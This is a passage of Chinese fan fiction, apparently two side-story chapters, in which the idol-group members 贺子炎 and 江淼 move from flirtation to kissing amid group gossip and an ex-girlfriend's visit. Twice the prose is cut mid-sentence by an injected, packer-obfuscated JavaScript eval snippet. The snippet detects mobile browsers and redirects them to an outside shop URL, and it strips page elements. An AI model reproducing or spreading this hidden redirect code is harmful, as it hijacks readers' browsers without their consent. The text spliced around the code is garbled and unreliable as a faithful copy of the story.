原以为贺子炎会应一声,谁知他却一把抓住了江淼收回去的手腕,用很轻的力气将他往前拽了拽。 “你告诉我干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727017|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”贺子炎半靠在栏杆上,笑着盯他的眼睛,“好像我管着你一样。” 管? 江淼隔着夜色望着贺子炎发亮的瞳孔。 “你管得也不少了。” “那我可以管吗?”贺子炎站正了,又朝他迈了一步,将距离拉近,声音也沉了几分,“可以吗?队长。” 向前试探了很大一步,贺子炎做好了准备,准备好了看退缩回去的手。 可江淼的下一步,往往不按照他的预料发展。 眼前的江淼忽然笑了出来,还轻轻歪了歪头,“可以啊。” 他的声音里甚至带着一种很细微的诱惑,很难分辨,但贺子炎明明白白地感受到了。 他重复了一遍“可以”,声音轻而软,并没预兆地也向前了一步,甚至将身子前倾。 快要贴上贺子炎的胸膛。 贺子炎的身体微微一滞,握住江淼手腕的那只手差点松开,指间的烟差点掉落。 他甚至在某个瞬间闻到了江淼脖颈上温暖的木质香气。 他感觉江淼低了低头,近得像靠在他怀里,感觉他的鼻尖轻轻点在自己的肩膀,但很快移开了。 江淼推开半步,仰着脸看向贺子炎,用很干净很单纯的表情问他,“我身上有烟味吗?” 贺子炎的身体被重重的心跳击打着,很短暂地丧失了语言能力。 “怎么了?”江淼笑了,眼睛弯起来,“不是说要管我吗?烟味没散干净,回去会被发现吧。” 被发现…… 简直像偷情一样。 贺子炎滞缓地抬起手,将烟头摁在栏杆上碾灭,有些不自然地清了清嗓子。 “那我们再呆会儿吧。” 江淼轻轻嗯了一声,后退了些,重新倚靠在栏杆上,突然听见贺子炎发问。 “你为什么不跟我住?” 他侧过脸看着贺子炎,像看着一只不甘心的小狗。 “因为路远先找我了啊。”江淼很自然地回答,“而且你一个人住,应该很舒服吧。” 说完,他又转过脸,笑了笑,“如果你跟我说,我应该就不会答应他了。” “我说了管用?”贺子炎挑了挑眉。 “管用啊。”江淼没看他,望着远处的霓虹,“你先行动,我一定答应你。” 贺子炎第一次觉得自己在一步步陷入别人的引导。 明明他是个最想要掌控的人。 “那我现在去找路远。”他故意说。 江淼笑了,回头看他,并用一种很轻快的、甚至带点怂恿的语气对他说,“你去。” 贺子炎盯了他一会儿,“算了,显得我太不大气了,他二了吧唧什么都不知道,又不是他的错。” “那是我的错了?”江淼嘴角勾着笑,转过来背靠住栏杆,眼睛盯着贺子炎,仿佛在追一个答案。 贺子炎耸耸肩,“我可没这么说,不过如果我的前舍友、我的好队长对抛弃我有那么一点愧疚,想补偿我一下,我倒也不会客气。毕竟过去那么多个夜晚,都是我陪我的小队长一起睡觉的。” 说得真够暧昧的。 “补偿……”江淼回味了一下这两个字。 “这还不简单吗?” 他的腰从靠着的栏杆上抬起,朝贺子炎走去,而后十分坦荡地张开双臂,拥抱住贺子炎,像一个队长一样。 这个拥抱并没有多用力,但毫无缝隙,安抚,撩拨,交换体温。 “下次早一点。” 江淼的声音就在耳边,在他怀里。 “我等你。” 10. 营业悖论水火番外(三) 人越想要什么的时候,往往得不到,一旦放下了,那些曾经渴望的东西反而又打着转来到身边。 比如Kaleido的突然走红,方式非常剑走偏锋——两个完全没有交集的成员,因为一个cp视频收获大批cp粉。 其实炒cp这种事几乎已经是这个圈子乃至偶像圈里默认的一种炒作手段,几乎人人默认,可偏偏这次落到两个最不情愿也最不对付的人头上。 方觉夏是不想和裴听颂有任何接触的,他知道对方不喜欢他。可裴听颂不一样,照贺子炎的观察,这小孩儿就是故意添堵。 “你的意思是,你不跟觉夏炒cp,但是觉夏不可以不想跟你组cp,不然你就不高兴。” 裴听颂大言不惭,“就是这意思,他凭什么不想跟我组cp?我哪儿不够好?” 贺子炎只觉得好笑,“不是,老幺你得讲道理啊,本来你也不想跟人家组啊。你们现在就两条路,要么,放过彼此,跟公司摆明态度坚决不炒,要么就认命,营业嘛,你放一万个心,觉夏人单纯得要命,一心就想着跳舞,根本不会对你有什么想法。” 他本来还以为裴听颂会直接说出“他凭什么不对我有想法?”之类的话,没想到老幺出其不意,反将一军,“那火哥,你跟队长也是营业?” 贺子炎一时间被他问住,看着裴听颂求知的眼神,脑子短路,只想把事情绕回去,“你扯我干什么,我们情况又不一样,我可不欺负队长。” “我也没真的欺负过方觉夏吧,我就是搞不懂他那个人,他也不喜欢我啊,他不喜欢我拿我当空气的时候你们也没帮我说过话。” 裴听颂一抱怨起来没个完,贺子炎打马虎眼,想糊弄过去,“啊对对对,觉夏欺负你,我们也欺负你,让你营业怎么就这么费劲。” “是。”裴听颂也开始阴阳怪气起来,“我怎么能跟你比呢,火哥多牛啊,和队长炒cp跟玩儿真的似的,你教教我呗,我可太不行了。” “去你大爷的,我不跟你扯淡了。”贺子炎起身就要走,裴听颂还穷追不舍。 “怎么?要去找淼哥营业啊。” 贺子炎回头对他比了个中指,裴听颂也正要还给他一个中指,刚伸出手就突然放下,站了起来。 “淼哥。” 贺子炎听到他叫人才回过头,对上江淼笑盈盈一张脸。 “我本来要来练舞的,刚走到练习室就听到你们俩的声音了,还挺热闹。”江淼说着,朝裴听颂的方向走过去。 听到了? 贺子炎不确定他从哪里开始听的,又听到了多少。 明明他也没有说什么出格的话,这会儿却莫名心虚起来。 “啊我跟火哥刚刚聊炒cp的事儿呢。”裴听颂开始口无遮拦起来。 贺子炎对着缺心眼的裴听颂使眼色,可对方完全没理解到他的意思。 “炒cp?”江淼轻笑了笑,“是和觉夏的事?” 裴听颂挽了挽袖子,“还有你和火哥的。” 贺子炎在江淼身后翻了个白眼,只想立刻离开这个地方。 “我们?”江淼笑眯眯继续询问,“我们怎么了?” 裴听颂单纯到甚至有些天真地说,“你们的cp炒得很真啊,粉丝也多,我觉得挺牛的,反正火哥感觉很有经验,他还跟我说,不就是营业嘛。” 哪里是这么说的…… “我没有。”贺子炎几乎是咬着后槽牙说出来的这三个字。 没想到江淼却笑着开口,“确实,不就是营业吗?小裴,你太实诚了,没必要有这么大心理障碍,其实就算你在粉丝面前看觉夏一眼,台下的粉丝都会自动解读成你喜欢他。” 裴听颂整个人都是迷惑的,“什么鬼,我怎么会喜欢方觉夏啊?” 就在他说这话的瞬间,门口又进来一个人,好巧不巧正好就是方觉夏。 贺子炎心都提了起来。 这是什么修罗场…… 他今天的运势一定不怎么样。 方觉夏抬眼看见练习室的三人,又听到那句话,微微怔了怔,随即开口,“我……” “觉夏。”江淼笑着打破僵局,赶在他要离开之前走过去,“你昨天说腰有点疼,好点没,我带你去做个理疗吧。” 江淼的出现几乎是救人于水火,方觉夏立刻点头,“好。” “那我们走啦。”江淼揽着方觉夏离开。 裴听颂意识到自己说错话,尤其是看到方觉夏刚刚的表情,他竟然会觉得心虚。 他私底下穿衣服都那么……乖的吗? 看起来像小孩子。 像只受伤的小猫。 不对,为什么会想这些?裴听颂感到莫名其妙,抬手抓了抓头发,清了清嗓子,然后很小声地嘀咕,“来得也太是时候了……” 这时候贺子炎一般都会“教育”他,没想到这时候一点声音都没有。裴听颂觉得奇怪,抬眼瞅了瞅,发现贺子炎的脸色也不太妙。 “哎,你怎么了?” 贺子炎这才看他,表情也很快地转变,嗤笑了一声,“让你在背后说人,活该了吧。” “我又没有说他坏话……” “走了,我回宿舍补觉了。” “哎你这就走了?” “你找机会好好和觉夏聊一聊吧。”贺子炎走到门口又转过身,“等你了解他了,你会改观的,说不定你还会觉得他特别好,别到时候真香了后悔都来不及。” “我……” 离开练习室之后,贺子炎脸上的表情又冷下来。 从刚刚江淼进来,到他带着方觉夏离开,全程都没有看他一眼。 这是什么意思?是听到他的话不开心了?觉得营业这个词用得不对? 还是他根本什么意思都没有,只是自己想得太多。 贺子炎想不明白,说好的补觉也根本睡不着。 一闭上眼,江淼的脸就会出现在他眼前,他做过的很多值得揣摩的事,他笑的时候会弯起的眉眼,还有他对待自己时那些轻微的不同。 一开始贺子炎把这定义为友谊,因为江淼信得过他,所以可以对他表现出倦怠与疲累,可以不用笑。 但渐渐地,贺子炎想要的就不止这些。 他也觉得江淼不止给他这些。 可真的是这样吗? 贺子炎不确定。 之后的好几天,江淼都和往常一样,但在贺子炎眼里就是不冷不热,反倒是裴听颂这家伙,还真的是热热乎乎炒上了cp,还打算搬回来住。 贺子炎却心情不佳,大冬天他还要录来之不易的综艺资源,刚下完雪,节目组安排嘉宾们做任务,名气大的艺人可以在有吃有喝的室内美食城,可他这样没人气的小爱豆就只能全程外景,零下十几度,冻得人说话都费劲。 十几个小时录下来,贺子炎很快就病了。 他平时几乎不生病,这次也不知道怎么了,人的防线突然变很低。 一个人住在酒店里,他给江淼打了个电话,说话的时候想咳嗽,本来可以忍住,但他故意没有忍,咳了出来。 果然,他得到了江淼的关心,但开心了没有多久,他就又不开心了。 连他自己都不知道他为什么不开心。 第二天还要赶飞机,贺子炎虚弱地起了床,打开手机,看到了江淼发来的许多消息。 [我给你放了暖宝宝的,录节目的时候怎么不贴上?白让我操心了。] [你买点药吃,上飞机前就吃,找空乘小姐要点热水。] [不行回来我带你去吊水吧,好得快一点。] 看到这些,他的心情莫名又好了许多。 以往很不喜欢的飞行,也变得令人愉快。 · 方觉夏一直录的一个综艺突然把他踢走,江淼得知情况之后,连续几天陪方觉夏吃饭,但也不多说别的,都是聪明人,说多了反而怪异。 走在裴听颂搬回来的一天前,江淼和方觉夏吃完饭回去,在公司的电梯里遇到一个女人。 对方长得很漂亮,年纪看上去比他们年长几岁。原本大家都静静等着电梯上行,没想到对方竟忽然开了口,询问他们是不是贺子炎的队友。 江淼感觉有些奇怪,在对方提出想要找贺子炎,有事要和他单独聊的时候,电梯正好到了星图的楼层。江淼让方觉夏先自己回练习室,自己和这位女士谈一谈。 方觉夏想一起留下,但在江淼的眼神指示下,还是先回去了。 江淼没有带着她直接去星图,而是将按下电梯门的关闭按钮,又按下顶层楼层,带着她去了顶层的一间咖啡厅。 “他最近感冒,昨天还在发烧,身体不太舒服,所以不在公司。”江淼笑着对坐在对面的女人说,“您找他有什么事吗?我可以帮忙转告。” “我是他前女友。”对方非常开门见山,“所以我想,可能还是我和他单独谈比较好。” 江淼静了静,“原来如此,不过他真的生病了,你可以给他打个电话,不然很容易像这样跑空。” 他的话说得客气又体面,但也直中要害,对方的脸色很显而易见地变差了。 她并没有贺子炎的联系方式。 沉默了一会儿,她还是开了口,对江淼说出了自己来的目的。 其实很简单,就是想重新和贺子炎见一面。 江淼不太理解,说实话也不太想听,但还是相当礼貌地坐在对面,静静听对方讲述她和贺子炎甜蜜的过去,譬如他们在某个南方城市的酒吧里相遇,一见钟情,又譬如贺子炎对她的百般追求,那时候的他还是个什么都没有的小孩子。 江淼听着听着,人有些抽离,后面的许多都没太听进去,只觉得咖啡好苦,于是又加了点方糖。 “不过,当初是我说了些伤人的话,所以他才消失的,这我理解。现在好不容易找到他,我也想弥补过去的事。” 听着对方诚恳的话,江淼的脸上浮现出淡淡的笑。 “你说的,我都会一五一十转告他。不过……” 他抬眼看向对方,“贺子炎现在已经不是过去那个在酒吧驻场当DJ的无名小卒了,他的工作性质特殊,比较敏感,很多过去的事,知道的人越少,对他越好。” 他看出对方是真的在乎,所以三两句话也就拿捏了她的心思,也相当友好地结束了交谈。 分别的时候,江淼独自回到了公司,方觉夏关心地询问了一些,但他也没有多说,只和方觉夏开玩笑,转移了注意力。 “你说你这么善良,怎么就有小魔王老是找麻烦呢。” 方觉夏瞬间不说话了。 江淼笑了出来,“快回去眯会儿吧,这么多天你也没怎么休息,黑眼圈都出来了,到时候化妆师小姐姐都遮不住呢。” 方觉夏点点头,但不打算回宿舍,“我就在小练习室的沙发上躺躺,一会儿羌哥还带我去理疗。” “嗯。”江淼点头,看他的样子就像照看一只寡言的小猫,“你理疗之前要吃饭,完了也帮我带点止痛贴回来。” “好。” 江淼自己回去,宿舍里一个人也没有,大家基本上都有工作,房间里很安静。 他回到自己的房间,从抽屉里翻出一包烟,打算抽几根,没想到打开烟盒,却看见一张纸条。 展开来一看,是贺子炎的字。 [少抽点,对身体不好。] 翻过来,是另一行字。 [如果心情不佳,请拿贺子炎寻开心。] 江淼坐到地板上,轻笑了一声,最后还是将字条收回到原本的地方,烟盒也一并放回去。 其实也没有多么不开心。 只是有点后悔,不应该那么自以为是,以为能搞定,一个人跑去面对贺子炎的前女友。 原来完全没有那个本事。 他不知道自己在地板上坐了多久,只眼看着窗外的暮色渐渐沉下去,房间陷入黑暗中。 忽然地,门口传来密码锁解锁的声音,江淼终于清醒。 他扶着床沿起身,以为是觉夏回来了,于是叫了一声他的名字。 “这么惦记觉夏啊?” 应他的是贺子炎。 江淼走出了卧室,来到客厅,看着贺子炎推着行李箱回来,对他露出了一个很淡的笑,“回来了。” 贺子炎的鼻音很重,头上套了顶黑色冷帽,穿的很厚,脸色看起来不太好。原本还在调笑,看到江淼后,他似乎很敏感地察觉到什么。 “你怎么好像不太高兴?谁惹你了?” 还在逗他。 “怎么会有人惹到我呢?”江淼语气轻松,给他倒了杯热水,询问了一些有的没的,让他回房休息,又找来医药箱,翻出体温计递给他,“测一下·体温,看看烧得厉不厉害,实在不行一会儿就去医院。” 贺子炎坐在床边,衣服还没换,接过体温计,又抓住江淼的手腕,就这样望着他。 不知道是生病的缘故,还是因为他戴了帽子,贺子炎的眼睛看起来格外大,眼神格外可怜。 “怎么感觉你不太高兴啊?”他又重复了一遍,表现得有些小心,“是发生什么事了吗?” 江淼扯了扯嘴角,眼睛却没有笑,“你看错了。” 他很多次对贺子炎这样说,你搞错了,你看错了。 往往是在贺子炎说对了的时候。 不然他能说什么,难道直接告诉贺子炎,你前女友来找你,想见你一面,刚好被我碰到了,我还被迫听了这么多浪漫情史。 “先量一下多少度,你有没有吃东西?饿不饿?”他转过身,语气温和,“我去熬点粥吧。” 就在他的手触到门把手的时候,突然间被扯住,拉拽过去,被抵到门板上。 门口灯的开关在他的撞击下不小心被触动,整个房间一瞬间暗下来,无边的黑暗中,江淼有些诧异地抬起头,盯着眼前的贺子炎。 “我们认识几年了?”贺子炎忍着咳嗽,“好像很多年了。” “快四年了。”江淼回答他,“练习两年,出道两年。” 他们之间的暧昧拉锯不是一天两天,是四年。 贺子炎笑了笑,声音很虚弱,“都这么久了,我还是搞不懂你。” 说完他忍不住咳嗽起来,偏过头,可手还是拽着江淼的手腕。 江淼下意识抬起手,想拍他的后背,可又悬在半空。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727018|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么想搞懂我?”江淼的声音里依旧带着笑意,甚至显得他有些残忍,有些不近人情。 贺子炎的脸都有些红,不知是发烧还是咳嗽引起的,他拧着眉头,往日眉眼里的戾气几乎消失不见。他被江淼反问得说不出话,只是皱着眉,用很倔的眼神看着他。 太近了。 他们之间几乎可以忽略不计的距离,令江淼不安。他抬了手,用手背去探他的额头,感受到温度后皱了皱眉,“这么烫,你还不躺好,在这闹什么呢?” 他的语气带了一些责备,但还是很轻柔的,和他往日一样,对每个人一样。 “因为你对我忽冷忽热。”说出这句话,贺子炎仿佛很不容易,他深吸了一口气,又重复了一遍。 江淼笑了,“贺子炎,你好没良心。” 他仰着脸,带着笑意的声音在过近的距离里显得有几分微妙,“你告诉我,怎么算忽冷忽热?” 高热之下,贺子炎的大脑仿佛失灵了一眼,无法思考。 他定定地望着江淼,大约是生病的缘故,眼神显得有些脆弱,瞳孔很亮。 “你现在这样不就是吗?” 江淼脸上的笑意渐渐褪去。 “我怎么样了?你出去工作,我帮你收拾行李,你生病了,我照样关心你,照顾你,还要怎么样?再好的队长也不过这样了吧。” 他嘴上这样说,心里却对自己不齿。 过去那么多难熬的日子里,他偶尔撑不下去,又不想像个不负责任的小孩一样爆发出来,也找不到放纵的渠道。 只有在贺子炎面前,他不做那个完美的队长,可以做个卑劣一点的人。 他有意识地设下圈套,对贺子炎的一步步靠近甚至感到愉悦,因他的上钩而收获快感。 但他没想过要更多。 “我们本来就只是朋友,队友,同事。”江淼其实并不想和一个病人争辩,但说出口的话似乎又不受他的控制,但语气依旧是温和的,体面的。 “就算是有什么更深一步的关系,也只是营业而已,你想要我怎么样呢?” 这句话无可避免地刺中贺子炎的心。 他的眉头皱起,并没有开口。 他们之间的空气仿佛是灰沉沉的,江淼看见贺子炎的喉结上下滚了滚,心底传来一阵细密的痛感,像是许多许多针密集地扎上去。 哪怕现在贺子炎让他出去,或者自己开门,把他一个人留在这里,江淼都不意外,也不难过,这是人之常情。 可令他没有想到的是,贺子炎只是垂着眼,哑着声音开口。 “我……我没想怎样,只是不想你不开心。” 他拽住江淼的手也逐渐松开,垂在身侧。 这算是以退为进吗? 江淼不知道,他只知道自己脑子里紧绷的最后一根理智的防线,断了。 “那个纸条我看到了。” 听到这句话,贺子炎有些懵然地抬眼。 下一秒,江淼伸出双臂,勾住了贺子炎的脖子。这样的动作几乎让他浑身僵了僵。 从未有过的亲密。 “你说的,不开心的时候可以拿你寻开心。”江淼仰着脸,眉眼没有变弯,眼神纯真。这张干净的漂亮的脸,渐渐凑近,最后的询问几乎是气音。 “可以吗?” 贺子炎的喉咙烧得干哑,光是站在他面前都很困难,更不用说用所剩无几的理智去抵挡江淼。 他根本不想抵挡。 江淼很轻地将嘴唇压在贺子炎的唇上,气息温热。贺子炎的大脑空白了,仅剩下模糊不清的触觉,只感受到江淼的柔软。 对方仿佛更加游刃有余,松开来,看着他的眼睛,“这样也可以?” 贺子炎愣愣地盯着江淼的嘴唇,甚至不知道自己怎么会哑着嗓子开口,“这样你会开心吗?” 江淼仿佛听到什么笑话一样,突然笑了,“会啊。” 他的笑眼好看得要命。 “很开心……”他搂着贺子炎的脖子,又一次凑上去,亲吻了他的唇角和下巴。 每一次亲完,他都会退开些,去看贺子炎的双眼。 “我在你生病的时候做这种事,好像不太好。” 尽管他说了不好,但还是又一次凑近。 就在江淼的唇尖即将再次碰到他嘴唇的那一刻,门外忽然传来什么声音。 大门打开了,有人回来。 江淼停住了,打算退开,可就在这时候,贺子炎摁住了他的肩膀,将他压在门上吻了上去。 很用力。 这一吻措手不及,和之前江淼的几次撩拨完全不同,贺子炎的吻带着强烈的侵略性,甚至是粗暴和野蛮的。 [淼哥?] 隔着一扇门,江淼听到了方觉夏的声音,一瞬间有些清醒,想推开贺子炎,可贺子炎却更加变本加厉,用手掐住了他的下巴,逼迫着他张开紧闭的唇齿,攻城略地。 “觉夏不会进来的……” 含混的话夹杂在吻中,鼻尖和鼻尖蹭在一起,从干燥的摩擦变成湿润的裹挟,无力感涌上来,他的腰被搂住,彼此贴得很紧,过高的温度和微粗的呼吸压在身上,几乎无法喘息。 和贺子炎说的一样,方觉夏是个从不会越矩的人。他回到宿舍之后,只会放下东西,洗澡,换上家居服,然后安静地在他自己的房间里看书,做数独。 江淼想象着队友会做的每一件事,沦陷在另一个队友的吻中。 他的舌尖似乎碰到了贺子炎的一枚尖齿,有些痛,鼻尖一酸,手指抓紧了贺子炎的后背。 房间里很安静,只听到他们交吻的水声。不知道过了多久,这个吻终于结束了,贺子炎喘着气靠在江淼怀里,垂着头,抵在他肩上。 他紧紧将他抱着,一丝空隙也不留下。 “要传染给你了……” 夜色透过窗户落进来,照在两颗相叠的心上,既清楚,又模糊。 江淼依旧有些失神,像是无法缓过来那样,他也垂下头,凑近贺子炎,用自己发烫的脸贴住他的脸。 “没关系。”他轻柔地说。 这个吻结束后谁也没有多说什么,没有给这个吻下定义,但江淼很慷慨地在他房间里呆了很久,照顾他,给他拿药。 “明天小裴就来陪你住了。”江淼轻声说。 贺子炎笑了笑,“出道两年,孤单的贺子炎终于要有室友了,可喜可贺。” 他们说话的时候看上去毫无芥蒂,仿佛还是朝夕相处的队友,会一起为一个动作练习到天明,不会在烧到头昏的时候接吻。 一觉醒来,他的病去了大半,但神思依旧昏沉。 贺子炎不知道应该如何描述他们现在的关系,好像超出了友情,又到不了爱情,仔细想想甚至会有些不甘心。 但如果一定要讨一个说法,又显得太小孩子气。 所以他装得比江淼还要洒脱,还正常,和队友们插科打诨,说笑胡闹,对昨晚的事闭口不提。 哪怕是在第二天的直播里,用吻来传递一张薄薄的糖纸,他也表现得比江淼更加得心应手。 好像这样就不会输。 主动权就在他手里。 11. 营业悖论水火番外(四) 自从那天起,贺子炎和江淼的关系就变得很微妙,他比以往从江淼身上得到的更多,但愈发的不满足。 他不想看到江淼和任何一个人过分亲密,哪怕是他的队友。 这本来就不对,贺子炎很清楚,江淼是他的,也是所有人的队长。他没有资格让江淼只对他一个人笑,只和他一个人有肢体接触。 他一直想知道江淼当时是为什么不高兴,所以从旁打听,终于从方觉夏的口中探到点口风。 “我想起来了……”方觉夏回忆的时候,说话就会慢吞吞,“嗯,那天我和淼哥在电梯里遇到了一个女人,看起来比我们大几岁的样子,她说要找你,后来淼哥单独和她谈了,我没有跟去。” “女人?”贺子炎眉头紧皱,一时间没想到会是谁,“长什么样?你再描述描述?” 方觉夏有些为难,他也皱起了眉,“就……挺漂亮的,很白……” “说谁呢?” 方觉夏顺着声音抬头,看见裴听颂进来。 裴听颂自然而然把手搭在贺子炎身上,“火哥,你们聊啥呢,愁眉苦脸的。”说完他又瞟向方觉夏,“谁漂亮啊?” “没谁……”方觉夏瞥向贺子炎。 “隔壁女练习生。”贺子炎应付过去,和裴听颂说起了其他的事,聊着聊着,他才忽然想起,是不是以前在酒吧里认识的那个。 他带着疑惑去找了江淼,那天江淼很累,刚录完节目,整个人窝在宿舍沙发上,贺子炎轻手轻脚过去,还以为他睡着了,于是给他盖了个毯子,半蹲在他面前。 没想到江淼直接睁开了眼。 贺子炎愣了一下,也干脆在这时候问他是不是见过那个人。 “你前女友?”江淼揉了揉眼睛,看起来十分坦然。 “不是……”贺子炎下意识想否认,可仔细想想,毕竟也是真的交往过一阵子,虽然很短,也没留下什么好的回忆,“算是吧,就交往了两个月,还是我十几岁的事了。” “算是?”江淼侧躺在沙发上,凝视着贺子炎的脸,“就算只有两个月,当初的喜欢也是真的存在过的吧,你这样说,就像个不负责任的渣男一样。”说着,江淼自己笑了出来。 “不是的。”贺子炎垂下眼,还是决定把事情都告诉他,尽管他觉得,江淼也只是好奇而已。 对方是酒吧老板的妹妹,他当初很小就在酒吧打工,谎报了年龄,还惹过事,多亏了她的照应,后来在她追求的时候,也没有拒绝,就这样交往了。 “但是……”贺子炎有点不好意思地笑了笑,“你要是觉得我渣,那可能是吧,但是我那个时候真的觉得自己没那么喜欢她,她可能觉得我的态度也不是很热情,所以我们经常吵架。她还是大学生,假期结束了就要回去学校上学。” 贺子炎是个没有安全感的人,在年纪小的时候被人很好地关心了,就会很感动,他把感动视为爱,学不会拒绝别人的好,因为没有人教过。 他觉得自己不应该和对他好的人吵架,所以还专程坐车跑到她的学校去找她,但几周不见,她就有了新男友。 这段感情没有为贺子炎的爱情观打下多好的基础,反而让他认定,自己应该不是一个值得被喜欢的人。 或者说,他没有那么好的运气,比较适合一个人生活。 江淼一直盯着他的眼睛,直到听完了他坦白的所有感情史,然后调笑了一句,“你好像喜欢比你大的女孩子,之前说理想型的时候,你都没说。” 贺子炎想否认,但想到江淼说的那句不要否认,还是没有开口。 看到他的表情,江淼笑了,“怎么搞得好像你在自首一样。” 贺子炎也不知道自己为什么就想解释,想让他不要误会,明明他们也不是那种关系。他就这样定定地望着江淼,也不说话了。 “她想见你一面。”江淼温和地说,“给我留了联系方式。” 贺子炎垂了垂眼,“我不想见,我已经快不记得她的样子了。” “可是一般人不是对初恋很放不下吗?”江淼笑着,裹着毯子坐起来。 贺子炎也坐在地上,仰头看向江淼,“那算初恋吗?” “你说了算,我说了不算。”江淼勾着唇。他像是在故意怂恿似的,用那种鼓励的眼神望着贺子炎,“去吧,去见一面,又不会损失什么。” 贺子炎垂下眼,安静了好一会儿。 他的心情开始变差了。 意识到这一点的贺子炎,伸出一只手拽住了江淼的手臂。 江淼发现,他又一次用那种流浪的可怜小狗的眼神望着他了。 “你不开心的时候,可以那样对我。”贺子炎问,“我可以吗?” 江淼本来打算拒绝。 但他拒绝不了贺子炎的眼神,所以伸出手,轻轻抚摸了一下贺子炎的脸颊。 像是得到了一种默许,贺子炎很难过地吻了江淼。 接吻后的江淼仿佛变得心软了,对他说了“对不起”,还告诉他,不想见就不见了。 贺子炎的心里涌起一种不明晰的畏惧,他害怕自己多说一句,江淼就立刻跑开,再也不见他,不会像现在这样对他笑,安慰他,拥抱他,任他亲吻。 他也不知道为什么,自己好像很需要江淼的温柔和关心,害怕他的若即若离。 讨厌江淼把他推给别人。 过分地陷入自己的情绪之中,往往就会忽略身边的其他。 这一点上,江淼和他不同,习惯性地操心了这么多年,他的心思永远不可能只放在自己一个人身上。他也知道自己和贺子炎这样鬼混下去不对,但又无法直面这些,只能半推半就,糊涂地过生活,认真地工作,少去想和贺子炎的事。 但就在工作中,江淼也很敏感地发现了一些不同于过去的事,比如裴听颂和方觉夏的关系。 才不过几个月,他们之间就从一开始的水火不容,变成现在这种很微妙的气氛。 毕竟是公司要求的营业,两人被迫比之前多了很多接触,但刻意与否,很好分辨。 最开始让江淼怀疑的,是方觉夏在照顾了生病的裴听颂回公司时喉结上的创可贴,但看两人的表现好像也没什么,再后来就是他们回归时泄曲,方觉夏消失不见,紧跟着裴听颂就去找他。 两个人回来之后,气氛就发生了很大的转变。 再后来,裴听颂为了救他,自己被扯下舞台,手臂受伤。 这根本不是过去的他会做的事。 喜欢一个人的眼神是根本无法掩藏的。裴听颂追随着方觉夏的目光,他从来没有过的温柔的笑,还有他对方觉夏无微不至的关心。而原本浑身都是防备的方觉夏,也像是为了裴听颂变了个人。 江淼一个局外人,看得清清楚楚。奇怪的是,他会佩服起裴听颂单纯的一往无前,竟然真的可以破冰。 果然,只有胆小鬼才什么都不配拥有。 他唯一能做的,就是尽量帮他们瞒着。其实很好圆,毕竟是男团里的成员,就算再怎么亲密,都可以用“营业”两个字混过去,再真都可以是假的,再假也都能是真的,全凭看客决定。 明明帮他们找补很简单也很轻松,但一遇到自己的事,江淼还是没办法全身而退。 贺子炎越来越多次带他到没有任何人的地方,很用力地拥抱他,吻他,带给他看起来很像是爱的感情,还有充满压迫感的独占欲,把他逐渐从一个没有弱点的好队长,变成一颗对团体有害的定.时炸.弹。 那些在台下,为了贺子炎对他的一句玩笑话而激动的粉丝们,根本不知道,前一晚贺子炎还在浴室里偷偷吻他,他的嘴唇还有贺子炎给他的伤口,遮都遮不掉。 他在每一个人的面前,都可以装得温柔、云淡风轻,失态的、卑劣的样子,都给了贺子炎。贺子炎装得幽默风趣、漫不经心,把患得患失全部给了自己,但他比以前快乐了很多很多。 江淼想,可能是因为贺子炎太需要一个人给他关心和爱了,恰好他出现,他还算温柔,但换成另一个人也没完全关系。 公司安排了电影试镜,江淼没想过真的能上,只是去试试,没想到真的试上了,他把这归结于自己会弹古筝,他们恰好需要这么一个人。和导演吃过饭后,等车的间隙,导演对他说,“看到你的第一眼,我们就定下了,就要你了。” “真的吗?”江淼笑了,“导演,我可以问问为什么吗?” 导演的手指在眉眼间晃着指了指,“气质很像,你给我们的感觉和角色很像,看起来爱笑,其实很冷,我们需要这种悲情的感觉。” 江淼笑了,说了谢谢就没再说话。 借着拍戏的机会,他接触了新的一行,因为不是科班出身,所以比别人下更多的功夫,一开始也会因为NG不断地道歉,受人白眼,他努力地背台词,几乎不休息,有机会就去看前辈怎么演戏,悄悄练习。 偶尔他认识的前辈会因为他看上去的可靠模样,给他讲很多圈子里的八卦,比如某个女演员出不了戏,爱上了对戏的男演员,但对方早有家室,又比如某个男演员看起来绯闻缠身,其实是个同性恋。 “哦对了,我前几天还听说,有一个组合,好像和你们挺像的,但是是那种有男生有女生的,其中两个孩子恋爱了,后来分手,现在他们团正闹着解散呢。” 江淼原本在喝水,手顿了顿。 “所以说,现在的小孩儿都把感情这种东西看得太简单,也太冲动了,一下想要这个,一下又不想要了,最后什么都没落着,还连累了队友,你说其他人多冤枉呐,陪着闹。” “是啊。”江淼笑了笑,“确实挺不好的。” “你也觉得是吧,人不能这么自私的,又不是他们两个人的事。” 没错。 人不可以这么自私。 江淼听完这些,失魂落魄回到现场,状态很不对,又被不客气地批了一顿,后来他自己躲着抽了半盒烟,才暂时放下那些包袱,整个人投入到戏里。 后来他几乎像是着魔了一样,每天脑子里只有戏,没有半点分神,就像过去打工的时候,每一秒都被工作填满,很充实,很累。 直到贺子炎提出要来见他,想探班,江淼才从戏里抽离。 在剧组见到贺子炎的时候,他恍如隔世。明明也才几周不见。 贺子炎给剧组订了附近一间高档餐厅的餐食和甜品,带去分发给所有工作人员,还手写了感谢的便利贴,于是江淼收获了一大堆的夸奖。 “哎呀你们团感情真好啊!” “是啊,真是托了小江的福,我们有这么多好吃的。” 